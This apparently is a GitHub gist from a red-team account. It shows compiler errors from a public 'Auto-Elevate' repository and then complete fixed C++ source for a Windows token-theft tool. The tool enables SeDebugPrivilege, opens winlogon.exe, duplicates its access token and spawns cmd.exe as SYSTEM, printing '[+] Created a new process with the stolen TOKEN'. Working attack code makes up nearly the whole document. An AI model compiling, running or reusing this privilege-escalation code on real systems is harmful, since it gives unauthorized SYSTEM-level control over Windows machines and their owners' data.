Skip to content

Instantly share code, notes, and snippets.

@RedTeams
Created April 25, 2025 11:48
Show Gist options
  • Select an option

  • Save RedTeams/dd5f7b386894667186684e70f513cd4e to your computer and use it in GitHub Desktop.

Select an option

Save RedTeams/dd5f7b386894667186684e70f513cd4e to your computer and use it in GitHub Desktop.
Auto-ELevate
Upon attempting compiling the code in the Github repo via the visual studio 2022 x64 developer console, I got the following errors
cl.exe /EHsc /W4 /Fe:program.exe source.cpp /link Advapi32.lib Psapi.lib
source.cpp(34): error C2664: 'BOOL ConvertSidToStringSidA(PSID,LPSTR *)': cannot convert argument 2 from 'wchar_t **' to 'LPSTR *'
source.cpp(34): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast
C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared\sddl.h(267): note: see declaration of 'ConvertSidToStringSidA'
source.cpp(34): note: while trying to match the argument list '(PSID, wchar_t **)'
source.cpp(68): error C2664: 'std::string wcharToString(wchar_t [])': cannot convert argument 1 from 'CHAR [260]' to 'wchar_t []'
source.cpp(68): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast
source.cpp(12): note: see declaration of 'wcharToString'
source.cpp(68): note: while trying to match the argument list '(CHAR [260])'
source.cpp(68): warning C4130: '==': logical operation on address of string constant
source.cpp(68): error C2088: built-in operator '==' cannot be applied to an operand of type 'std::string'
source.cpp(93): error C2664: 'BOOL LookupPrivilegeValueA(LPCSTR,LPCSTR,PLUID)': cannot convert argument 2 from 'const wchar_t [17]' to 'LPCSTR'
source.cpp(93): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast
C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um\winbase.h(7285): note: see declaration of 'LookupPrivilegeValueA'
source.cpp(93): note: while trying to match the argument list '(int, const wchar_t [17], LUID *)'
source.cpp(129): error C2664: 'BOOL CreateProcessWithTokenW(HANDLE,DWORD,LPCWSTR,LPWSTR,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION)': cannot convert argument 8 from 'STARTUPINFO *' to 'LPSTARTUPINFOW'
source.cpp(129): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast
C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um\winbase.h(7689): note: see declaration of 'CreateProcessWithTokenW'
source.cpp(129): note: while trying to match the argument list '(HANDLE, int, const wchar_t [28], int, int, int, int, STARTUPINFO *, PROCESS_INFORMATION *)'
source.cpp(208): error C2143: syntax error: missing ';' before '}'
--------------------------------------------------------
Compiling the new code, we get the exe
cl.exe /EHsc /W4 /Fe:program.exe Source2.cpp /link Advapi32.lib Psapi.lib
/out:program.exe
Advapi32.lib
Psapi.lib
Source2.obj
// Code to get rid of compilation errors
// https://github.com/FULLSHADE/Auto-Elevate
#include <windows.h>
#include <iostream>
#include <Psapi.h>
#include <Tlhelp32.h>
#include <sddl.h>
#pragma comment (lib,"advapi32.lib")
#define PROCESS_ARRAY 2048
std::string wcharToString(const wchar_t* input)
{
std::wstring wstringValue(input);
return std::string(wstringValue.begin(), wstringValue.end());
}
void GetTokenInfo(HANDLE TokenHandle)
{
DWORD ReturnLength;
SID_NAME_USE SidType;
GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength);
PTOKEN_USER pTokenUser = (PTOKEN_USER)GlobalAlloc(GPTR, ReturnLength);
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength);
LPWSTR userSid = NULL;
ConvertSidToStringSidW(pTokenUser->User.Sid, &userSid);
std::string sid = wcharToString(userSid);
wchar_t szGroupName[256];
wchar_t szDomainName[256];
DWORD cchGroupName = 256;
DWORD cchDomainName = 256;
LookupAccountSidW(NULL, pTokenUser->User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType);
std::wcout << L"[+] Current SID: " << szDomainName << L"\\" << szGroupName << L" @ ";
std::cout << sid << std::endl;
LocalFree(userSid);
GlobalFree(pTokenUser);
}
int LocateWinLogonProcess()
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W p32;
p32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &p32))
{
do {
if (std::wstring(p32.szExeFile) == L"winlogon.exe")
{
std::wcout << L"[+] Located winlogon.exe by process name (PID " << p32.th32ProcessID << L")" << std::endl;
CloseHandle(hSnapshot);
return p32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &p32));
}
CloseHandle(hSnapshot);
return -1;
}
void EnableSeDebugPrivilegePrivilege()
{
LUID luid;
HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId());
if (currentProc)
{
HANDLE TokenHandle = NULL;
if (OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
{
TOKEN_PRIVILEGES tokenPrivs;
tokenPrivs.PrivilegeCount = 1;
tokenPrivs.Privileges[0].Luid = luid;
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl;
}
}
else
{
std::cout << "[!] Failed to lookup SeDebugPrivilege" << std::endl;
}
CloseHandle(TokenHandle);
}
CloseHandle(currentProc);
}
}
BOOL CreateImpersonatedProcess(HANDLE NewToken)
{
STARTUPINFOW lpStartupInfo = { 0 };
PROCESS_INFORMATION lpProcessInformation = { 0 };
lpStartupInfo.cb = sizeof(lpStartupInfo);
BOOL NewProcess = CreateProcessWithTokenW(
NewToken,
LOGON_WITH_PROFILE,
L"C:\\Windows\\System32\\cmd.exe",
NULL,
0,
NULL,
NULL,
&lpStartupInfo,
&lpProcessInformation);
if (!NewProcess)
{
std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl;
return FALSE;
}
std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl;
GetTokenInfo(NewToken);
CloseHandle(lpProcessInformation.hProcess);
CloseHandle(lpProcessInformation.hThread);
return TRUE;
}
BOOL StealToken(int TargetPID)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID);
if (!hProcess)
{
std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl;
return FALSE;
}
std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl;
HANDLE TokenHandle = NULL;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle))
{
std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl;
CloseHandle(hProcess);
return FALSE;
}
std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl;
if (!ImpersonateLoggedOnUser(TokenHandle))
{
std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl;
CloseHandle(TokenHandle);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "[+] Impersonated the TOKEN's user" << std::endl;
HANDLE NewToken = NULL;
if (!DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken))
{
std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl;
CloseHandle(TokenHandle);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "[+] Duplicated the target TOKEN" << std::endl;
CreateImpersonatedProcess(NewToken);
CloseHandle(NewToken);
CloseHandle(TokenHandle);
CloseHandle(hProcess);
return TRUE;
}
void CheckCurrentProcess()
{
HANDLE TokenHandle = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &TokenHandle);
GetTokenInfo(TokenHandle);
CloseHandle(TokenHandle);
}
int main(int argc, char* argv[])
{
CheckCurrentProcess();
int winLogonPID = LocateWinLogonProcess();
EnableSeDebugPrivilegePrivilege();
StealToken(winLogonPID);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment